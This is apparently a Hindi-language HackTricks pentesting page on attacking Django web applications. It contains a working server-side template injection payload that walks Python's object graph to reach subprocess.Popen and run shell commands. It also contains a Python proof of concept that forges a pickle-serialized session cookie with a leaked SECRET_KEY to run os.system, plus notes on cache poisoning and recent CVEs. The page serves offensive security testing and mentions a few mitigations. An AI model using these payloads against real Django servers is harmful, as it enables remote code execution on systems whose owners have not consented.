Django
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Cache Manipulation to RCE
Django का डिफ़ॉल्ट कैश स्टोरेज तरीका Python pickles है, जो अविश्वसनीय इनपुट के अनपिकल होने पर RCE की ओर ले जा सकता है। यदि एक हमलावर कैश में लिखने की पहुंच प्राप्त कर लेता है, तो वह इस कमजोरियों को अंतर्निहित सर्वर पर RCE में बढ़ा सकता है।
Django कैश चार स्थानों में से एक में संग्रहीत होता है: Redis, memory, files, या database। Redis सर्वर या डेटाबेस में संग्रहीत कैश सबसे संभावित हमले के वेक्टर हैं (Redis इंजेक्शन और SQL इंजेक्शन), लेकिन एक हमलावर फ़ाइल-आधारित कैश का उपयोग करके मनमाने लिखने को RCE में बदलने में भी सक्षम हो सकता है। रखरखाव करने वालों ने इसे एक गैर-मुद्दा के रूप में चिह्नित किया है। यह ध्यान रखना महत्वपूर्ण है कि कैश फ़ाइल फ़ोल्डर, SQL तालिका का नाम, और Redis सर्वर का विवरण कार्यान्वयन के आधार पर भिन्न होगा।
यह HackerOne रिपोर्ट SQLite डेटाबेस में संग्रहीत Django कैश का शोषण करने का एक शानदार, पुनरुत्पादनीय उदाहरण प्रदान करती है: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
Django Template Language (DTL) Turing-complete है। यदि उपयोगकर्ता द्वारा प्रदान किया गया डेटा टेम्पलेट स्ट्रिंग के रूप में प्रस्तुत किया जाता है (उदाहरण के लिए Template(user_input).render()
को कॉल करके या जब |safe
/format_html()
ऑटो-एस्केपिंग को हटा देता है), तो एक हमलावर पूर्ण SSTI → RCE प्राप्त कर सकता है।
Detection
Template()
/Engine.from_string()
/render_to_string()
के लिए डायनामिक कॉल की तलाश करें जो किसी भी असंक्रमित अनुरोध डेटा को शामिल करते हैं।- एक समय-आधारित या अंकगणितीय पेलोड भेजें:
{{7*7}}
यदि प्रस्तुत आउटपुट में 49
है तो इनपुट को टेम्पलेट इंजन द्वारा संकलित किया गया है।
Primitive to RCE
Django __import__
तक सीधी पहुंच को अवरुद्ध करता है, लेकिन Python ऑब्जेक्ट ग्राफ़ पहुंच योग्य है:
{{''.__class__.mro()[1].__subclasses__()}}
subprocess.Popen
का इंडेक्स खोजें (≈400–500, Python बिल्ड के आधार पर) और मनमाने कमांड्स निष्पादित करें:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
A safer universal gadget is to iterate until cls.__name__ == 'Popen'
.
The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.
Pickle-Backed Session Cookie RCE
यदि सेटिंग SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
सक्षम है (या एक कस्टम सीरियलाइज़र जो पिक्ल को डीसिरियलाइज करता है), तो Django सत्र कुकी को डिक्रिप्ट और अनपिक्ल करता है पहले किसी भी दृश्य कोड को कॉल करने से। इसलिए, एक मान्य साइनिंग की (डिफ़ॉल्ट रूप से प्रोजेक्ट SECRET_KEY
) होना तत्काल रिमोट कोड निष्पादन के लिए पर्याप्त है।
Exploit Requirements
- सर्वर
PickleSerializer
का उपयोग करता है। - हमलावर
settings.SECRET_KEY
को जानता है / अनुमान लगा सकता है (GitHub,.env
, त्रुटि पृष्ठों आदि के माध्यम से लीक)।
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
संबंधित कुकी भेजें, और पेलोड WSGI कार्यकर्ता की अनुमतियों के साथ चलता है।
निवारण: डिफ़ॉल्ट JSONSerializer
को बनाए रखें, SECRET_KEY
को घुमाएँ, और SESSION_COOKIE_HTTPONLY
को कॉन्फ़िगर करें।
हालिया (2023-2025) उच्च-प्रभाव वाले Django CVEs जिनकी जांच पेंटेस्टर्स को करनी चाहिए
- CVE-2025-48432 – अनएस्केप्ड
request.path
के माध्यम से लॉग इंजेक्शन (4 जून 2025 को ठीक किया गया)। हमलावरों को लॉग फ़ाइलों में नई पंक्तियाँ/ANSI कोड स्मगल करने और डाउनस्ट्रीम लॉग विश्लेषण को विषाक्त करने की अनुमति देता है। पैच स्तर ≥ 4.2.22 / 5.1.10 / 5.2.2। - CVE-2024-42005 –
JSONField
परQuerySet.values()/values_list()
में महत्वपूर्ण SQL इंजेक्शन (CVSS 9.8)। JSON कुंजी बनाएं ताकि उद्धरण से बाहर निकल सकें और मनमाना SQL निष्पादित कर सकें। 4.2.15 / 5.0.8 में ठीक किया गया।
हमेशा X-Frame-Options
त्रुटि पृष्ठ या /static/admin/css/base.css
हैश के माध्यम से सटीक ढांचे के संस्करण की पहचान करें और उपरोक्त का परीक्षण करें जहाँ लागू हो।
संदर्भ
- Django सुरक्षा रिलीज़ – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432 को संबोधित करते हैं" – 4 जून 2025।
- OP-Innovate: "Django SQL इंजेक्शन दोष CVE-2024-42005 को संबोधित करने के लिए सुरक्षा अपडेट जारी करता है" – 11 अगस्त 2024।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।